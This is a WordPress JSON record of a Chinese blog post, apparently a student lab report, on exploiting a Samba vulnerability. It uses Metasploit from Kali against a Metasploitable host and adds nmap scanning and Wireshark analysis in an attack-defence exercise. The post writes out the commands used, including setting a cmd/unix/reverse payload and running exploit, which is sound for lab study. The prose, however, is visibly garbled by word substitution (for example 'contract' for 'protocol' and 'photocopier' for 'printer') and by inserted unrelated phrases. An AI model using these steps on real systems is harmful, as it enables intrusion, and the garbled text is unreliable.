{"id":271050,"date":"2023-04-29T04:02:54","date_gmt":"2023-04-28T20:02:54","guid":{"rendered":"https:\/\/gulass.cn\/kyyylxtnhjky.html"},"modified":"2023-04-29T04:02:54","modified_gmt":"2023-04-28T20:02:54","slug":"kyyylxtnhjky","status":"publish","type":"post","link":"https:\/\/gulass.cn\/kyyylxtnhjky.html","title":{"rendered":"\uff08\u8003\u7814\u82f1\u8bed\uff09Linux\u7cfb\u7edf\u5185\u6838\u53ca\u5f00\u6e90\u8f6f\u4ef6\u4e2d\u7684\u6f0f\u6d1e"},"content":{"rendered":"
\u76ee\u5f55<\/p>\n
\u4e00.\u77e5\u8bc6\u70b9\u68b3\u7406\u4e0e\u603b\u7ed3<\/p>\n
1.\u76ee\u524d\uff0cLinux<\/a>\u5df2\u7136\u6210\u4e3a\u670d\u52a1\u5668\u64cd\u4f5c\u7cfb\u7edf<\/a>\u6700\u6d41\u884c\u7684\u9009\u62e9\uff0c\u867d\u7136Linux\u5728\u5b89\u5168\u8bbe\u8ba1\u4e0a\u8f83Windows\u7b49\u4e00\u4e9b\u64cd\u4f5c\u7cfb\u7edf\u5177\u6709\u4e00\u5b9a\u7684\u5148\u5929\u4f18\u52bflinux\u64cd\u4f5c\u7cfb\u7edf\u57f9\u8bad\uff0c\u4f46\u5b83\u4e5f\u51b3\u4e0d\u662f\u539f\u5148\u4e00\u4e9b\u4eba\u6240\u89c9\u5f97\u7684\u201c\u7edd\u5bf9\u5b89\u5168\u201d\u3002Linux\u64cd\u4f5c\u7cfb\u7edf\u4e5f\u5b58\u5728\u7740\u5927\u91cf\u7684\u5b89\u5168\u6f0f\u6d1e<\/a>\uff0c\u56e0\u4e3a\u5b83\u7684\u5f00\u6e90\u7279\u70b9\uff0c\u9ed1\u5ba2\u4eec\u53cd\u5012\u66f4\u5bb9\u6613\u4ece\u6e90\u7801\u4e2d\u53d1\u89c9\u66f4\u591a\u7684Linux\u7cfb\u7edf\u5185\u6838\u53ca\u5f00\u6e90\u8f6f\u4ef6\u4e2d\u7684\u6f0f\u6d1e\uff0c\u7cfb\u7edf\u7ba1\u7406\u5458\u5bf9Linux\u670d\u52a1\u5668\u7684\u5fd9\u4e8e\u7ba1\u7406\u4e5f\u4fc3\u4f7f\u8fd1\u4e9b\u5e74\u6765\u9488\u5bf9Linux\u7cfb\u7edf\u7684\u5b89\u5168\u98ce\u6ce2\u591a\u6709\u53d1\u751f\u3002<\/p>\n \u672c\u6b21\u5b9e\u8df5\u9488\u5bf9Linux\u7cfb\u7edf\u5b58\u5728\u6f0f\u6d1e\u8fdb\u884c\u8fdc\u7a0b\u6e17\u900f\u529f\u51fb\uff0c\u4f7f\u7528\u7684\u5de5\u5177\u4e3aMetasploit\uff0c\u636e\u6089\u5728\u8fdb\u884c\u653b\u5b88\u5bf9\u6297\u8fc7\u7a0b\u4e2d\uff0c\u8fd8\u4f7f\u7528\u5230\u4e86Nmap\u3001Neusse\u7b49\u4fe1\u606f\u6536\u96c6\u5de5\u5177\u3002<\/p>\n 2.SMB(ServerMessageBlock)\u5408\u540c\u662f\u5b9e\u73b0\u4e0d\u540c\u7c7b\u578b\u8ba1\u7b97\u673a\u4e4b\u95f4\u6587\u4ef6\u548c\u590d\u5370\u673a\u5171\u4eab\u670d\u52a1\u7684\u5408\u540c\u3002<\/p>\n SMB\u7684\u5de5\u4f5c\u539f\u7406\u5c31\u662f\u8ba9NetBIOS\u5408\u540c\u4e0eSMB\u5408\u540c\u8fd0\u884c\u5728TCP\/IP\u5408\u540c\u4e4b\u4e0a\uff0c\u800c\u4e14\u501f\u52a9NetBIOS\u7684\u540d\u5b50\u89e3\u6790\u529f\u80fd\u8ba9Linux\u8ba1\u7b97\u673a\u53ef\u4ee5\u5728Windows\u8ba1\u7b97\u673a\u4e4b\u95f4\u4e92\u76f8\u8bbf\u95ee\u5171\u4eab\u6587\u4ef6\u548c\u590d\u5370\u673a\u7684\u529f\u80fd\u3002<\/p>\n 3.Samba\u662f\u4e00\u7ec4\u4f7flinux\u652f\u6301SMB\u5408\u540c\u7684\u8f6f\u4ef6\uff0c\u57fa\u4e8eGPL\u539f\u5219\u53d1\u884clinux\u5185\u6838\u4e2d\u7f51\u7edc\u534f\u8bae\u7684\u8bbe\u8ba1\u4e0e\u5b9e\u73b0<\/strong>\uff0c\u6e90\u7801\u5b8c\u5168\u516c\u5f00\u3002Samba\u7684\u6838\u5fc3\u662f\u4e24\u4e2a\u5b88\u62a4\u8fdb\u7a0bsmbd\u548cnmbd.smbd\u5b88\u62a4\u8fdb\u7a0b\u8d1f\u8d23\u6784\u5efa\u5bf9\u8bddlinux\u5185\u6838\u4e2d\u7f51\u7edc\u534f\u8bae\u7684\u8bbe\u8ba1\u4e0e\u5b9e\u73b0<\/strong>\uff0c\u9a8c\u8bc1\u7528\u6237\u63d0\u4f9b\u6587\u4ef6\u548c\u590d\u5370\u673a\u5171\u4eab\u670d\u52a1\u7b49\u3002nmbd\u5b88\u62a4\u8fdb\u7a0b\u8d1f\u8d23\u5b9e\u73b0\u7f51\u8def\u6d4f\u89c8\u3002<\/p>\n 1.SMB\u5408\u540c2.Samba\u4e8c.\u5b9e\u9a8c\u8fc7\u7a0b1.\u4f7f\u7528Metasploit\u8fdb\u884cLinux\u8fdc\u7a0b\u6e17\u900f\u529f\u51fb<\/p>\n \u672c\u6b21\u5b9e\u9a8c\u4f7f\u7528\u7684\u529f\u51fb\u673a\u4e3aKali\uff0cIP\u5730\u5740\u4e3a192.168.200.8\uff1b\u673a\u70ae\u4e3aMetasploitUbuntu\uff0cIP\u5730\u5740\u4e3a192.168.200.124\uff1a<\/p>\n \u9996\u5148\u5728Kali\u4e0a\u6253\u5f00Metasploit\uff1a<\/p>\n \u67e5\u627e\u8981\u4f7f\u7528\u7684\u6f0f\u6d1e\u5bf9\u5e94\u7684\u6a21\u5757<\/p>\n searchsamba<\/p>\n \u5bf9\u5e94\u7f16\u53f7\u662f13\uff0c\u4e3a\u6b64\uff0cuse13\u5373\u53ef\u4f7f\u7528\u8be5\u6a21\u5757\u3002<\/p>\n \u67e5\u770b\u53ef\u7528\u8377\u8f7dshowpayloads<\/p>\n \u9009\u62e9\u529f\u51fb\u8377\u8f7dsetpayloadcmd\/unix\/reverse<\/p>\n \u67e5\u770b\u987b\u8981\u914d\u7f6e\u7684\u53c2\u6570showoptions<\/p>\n \u914d\u7f6e\u76f8\u5e94\u7684\u53c2\u6570<\/p>\n setRHOST192.168.200.124\uff0csetLHOST192.168.200.8<\/p>\n \u53ea\u9700\u914d\u7f6e\u673a\u70aeIP\u5373\u53ef<\/p>\n \u8bbe\u7f6e\u5b8c\u6210\u540e\uff0c\u8f93\u5165exploit\u8fdb\u884c\u529f\u51fb<\/p>\n \u53ef\u4ee5\u770b\u89c1\u65e9\u5df2\u529f\u51fb\u6210\u529f<\/p>\n 2.\u653b\u5b88\u5bf9\u6297\u5b9e\u8df5<\/p>\n \u4e8c\u4eba\u8054\u63a5\u5230\u540c\u4e00\u4e2a\u5c40\u57df\u7f51\u4e2d\uff0c\u529f\u51fb\u673akali\u548c\u706b\u7bad\u70aemetasploit\u7684IP\u5730\u5740\u5206\u522b\u4e3a192.168.200.8\u548c192.168.200.124<\/p>\n \u6d4b\u8bd5\u4e0b\u5b83\u4eec\u7684\u8fde\u901a\u6027<\/p>\n ping192.168.200.124<\/p>\n ping\u901a\u4ee5\u540e<\/p>\n \u4f7f\u7528nmap-sV192.168.200.124\u626b\u63cf\u76ee\u6807\u4e3b\u673a\u7684\u5f00\u653e\u7aef\u53e3\u4e0e\u7248\u672c\u53f7\u7b49\u4fe1\u606f\uff1a<\/p>\n \u4f7f\u7528nmap--scriptvuln192.168.200.124\u626b\u63cf\u76ee\u6807\u4e3b\u673a\u5b58\u5728\u7684\u6f0f\u6d1e\uff1a<\/p>\n \u529f\u51fb\u91c7\u7528\u7684\u6e17\u900f\u6a21\u5757\u4f9d\u7136\u662f\u7b2c\u4e00\u4e2a\u5b9e\u9a8c\u4e2d\u4f7f\u7528\u7684\u6a21\u5757\uff0c\u8f93\u5165searchsamba<\/p>\n use13<\/p>\n \u6b64\u6b21\u9009\u62e9\u7b2c\u4e94\u4e2apayloads<\/p>\n \u53ef\u4ee5\u770b\u89c1\u529f\u51fb\u6210\u529f<\/p>\n \u903c\u62a2\u65b9\u7a83\u542c\uff1a\u5bf9\u7b2c\u4e8c\u6b21\u7684\u529f\u51fb\u8fdb\u884c\u903c\u62a2<\/p>\n \u501f\u52a9wireshark\u5bf9\u7f51\u5361\u8fdb\u884c\u7a83\u542c\uff0c\u4ece\u4e2d\u53ef\u4ee5\u5256\u6790\u5f97\u5230\uff0c\u529f\u51fb\u8005IP\u4e3a192.168.200.8\uff0c\u529f\u51fb\u8005\u501f\u52a9\u7684\u662f139\u7aef\u53e3\u8fdb\u884c\u529f\u51fb\uff0c\u5728\u529f\u51fb\u6210\u529f\u540e\u8fdb\u884c\u4e86ifconfig\u7b49\u64cd\u4f5c<\/p>\n \u4e09.\u5b66\u4e60\u4e2d\u9047\u89c1\u7684\u95ee\u9898<\/p>\n \u95ee\u98981.\u5728\u770bwireshark\u6570\u636e\u5305\u65f6\uff0c\u4e0d\u6653\u5f97\u5982\u4f55\u5256\u6790\u51fa\u529f\u51fb\u8005\u662f\u501f\u52a9\u90a3\u4e2a\u7aef\u53e3\uff08\u670d\u52a1\uff09\u7684\u6f0f\u6d1e\u8fdb\u884c\u529f\u51fb\u7684<\/p>\n \u89e3\u51b3\uff1a\u7ecf\u8fc7\u5bfb\u95ee\u670b\u53cblinux\u7cfb\u7edf\uff0c\u5f97\u77e5\u4ece\u6293\u53d6\u6570\u636e\u5305\u627e\u6700\u524d\u9762\u4e00\u4e2a\u5305\u7684\u7aef\u53e3\u4fe1\u606f\uff0c\u5bf9\u7aef\u53e3\u7684\u7406\u89e3\u4e5f\u66f4\u6df1<\/p>\n \u56db.\u5b66\u4e60\u4f53\u4f1a<\/p>\n \u5728\u5b9e\u9a8c\u4e2d\u4f1a\u78b0\u5230\u4e00\u4e9b\u4e0d\u7406\u89e3\u7684\u6b65\u9aa4\uff0c\u89e3\u51b3\u540e\u4f1a\u8ba4\u4e3a\u53d7\u76ca\u9887\u4e30\u3002\u4ece\u4e4b\u524d\u7406\u89e3\u4e0d\u662f\u5f88\u5230\u4f4d\u7684\u7aef\u53e3\u548c\u7f51\u5173\uff0c\u6bcf\u4e00\u6b21\u4eb2\u81ea\u8bd5\u9519\u89e3\u51b3\u5c31\u4f1a\u89c9\u5f97\u6536\u83b7\u5f88\u5927\u3002<\/p>\n \u901a\u8fc7\u672c\u6b21\u4f7f\u7528Metasploit\u8fdb\u884cLinux\u8fdc\u7a0b\u6e17\u900f\u529f\u51fb\uff0c\u9996\u5148\u8fdb\u4e00\u6b65\u719f\u6089\u4e86Metasploit\u5de5\u5177\u7684\u4f7f\u7528\uff0c\u5176\u6b21\u901a\u8fc7\u653b\u5b88\u5bf9\u6297\u8fc7\u7a0b\uff0c\u52a8\u624b\u8fdb\u884c\u4e86\u4ece\u6f0f\u6d1e\u4fe1\u606f\u6536\u96c6\u3001\u6f0f\u6d1e\u501f\u52a9\u3001\u6e17\u900f\u529f\u51fb\u5230\u83b7\u53d6\u76ee\u6807\u4e3b\u673a\u6743\u9650\u7684\u8fc7\u7a0b\uff0c\u63d0\u5347\u4e86\u81ea\u5df1\u7684\u5b9e\u8df5\u80fd\u529b\u3002<\/p>\n","protected":false},"excerpt":{"rendered":" Block)\u534f\u8bae\u662f\u5b9e\u73b0\u4e0d\u540c\u7c7b\u578b\u8ba1\u7b97\u673a\u4e4b\u95f4\u6587\u4ef6\u548c\u6253\u5370\u673a\u5171\u4eab\u670d\u52a1\u7684\u534f\u8bae\u3002Samba\u662f\u4e00\u7ec4\u4f7flinux\u652f\u6301SMB\u534f\u8bae\u7684\u8f6f\u4ef6\uff0c\u57fa\u4e8eGPL\u539f\u5219\u53d1\u884c\uff0c\u6e90\u7801\u5b8c\u5168\u516c\u5f00\u3002smbd\u5b88\u62a4\u8fdb\u7a0b\u8d1f\u8d23\u5efa\u7acb\u5bf9\u8bdd\uff0c\u9a8c\u8bc1\u7528\u6237\u63d0\u4f9b\u6587\u4ef6\u548c\u6253\u5370\u673a\u5171\u4eab\u670d\u52a1\u7b49\u3002<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[988],"tags":[999],"class_list":["post-271050","post","type-post","status-publish","format-standard","hentry","category-tougao","tag-999"],"acf":[],"_links":{"self":[{"href":"https:\/\/gulass.cn\/wp-json\/wp\/v2\/posts\/271050","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/gulass.cn\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/gulass.cn\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/gulass.cn\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/gulass.cn\/wp-json\/wp\/v2\/comments?post=271050"}],"version-history":[{"count":0,"href":"https:\/\/gulass.cn\/wp-json\/wp\/v2\/posts\/271050\/revisions"}],"wp:attachment":[{"href":"https:\/\/gulass.cn\/wp-json\/wp\/v2\/media?parent=271050"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/gulass.cn\/wp-json\/wp\/v2\/categories?post=271050"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/gulass.cn\/wp-json\/wp\/v2\/tags?post=271050"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}